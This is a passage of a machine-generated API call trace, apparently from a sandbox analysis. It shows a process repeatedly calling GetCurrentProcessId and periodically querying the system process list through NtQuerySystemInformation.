GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.960] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.963] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.964] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.965] GetCurrentProcessId () returned 0xbf4 [0281.966] GetCurrentProcessId () returned 0xbf4 [0281.966] GetCurrentProcessId () returned 0xbf4 [0281.966] GetCurrentProcessId () returned 0xbf4 [0281.966] GetCurrentProcessId () returned 0xbf4 [0281.966] GetCurrentProcessId () returned 0xbf4 [0281.966] GetCurrentProcessId () returned 0xbf4 [0281.966] GetCurrentProcessId () returned 0xbf4 [0281.966] GetCurrentProcessId () returned 0xbf4 [0281.966] GetCurrentProcessId () returned 0xbf4 [0281.966] GetCurrentProcessId () returned 0xbf4 [0281.966] GetCurrentProcessId () returned 0xbf4 [0281.966] GetCurrentProcessId () returned 0xbf4 [0282.502] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0282.520] GetCurrentProcessId () returned 0xbf4 [0282.520] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.521] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.522] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0282.523] GetCurrentProcessId () returned 0xbf4 [0283.048] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.051] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.052] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.053] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.054] GetCurrentProcessId () returned 0xbf4 [0283.557] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0283.560] GetCurrentProcessId () returned 0xbf4 [0283.560] GetCurrentProcessId () returned 0xbf4 [0283.560] GetCurrentProcessId () returned 0xbf4 [0283.560] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.561] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.562] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0283.563] GetCurrentProcessId () returned 0xbf4 [0284.071] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.076] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.077] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.078] GetCurrentProcessId () returned 0xbf4 [0284.079] GetCurrentProcessId () returned 0xbf4 [0284.079] GetCurrentProcessId () returned 0xbf4 [0284.079] GetCurrentProcessId () returned 0xbf4 [0284.079] GetCurrentProcessId () returned 0xbf4 [0284.079] GetCurrentProcessId () returned 0xbf4 [0284.079] GetCurrentProcessId () returned 0xbf4 [0284.079] GetCurrentProcessId () returned 0xbf4 [0284.079] GetCurrentProcessId () returned 0xbf4 [0284.079] GetCurrentProcessId () returned 0xbf4 [0284.079] GetCurrentProcessId () returned 0xbf4 [0284.079] GetCurrentProcessId () returned 0xbf4 [0284.079] GetCurrentProcessId () returned 0xbf4 [0284.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 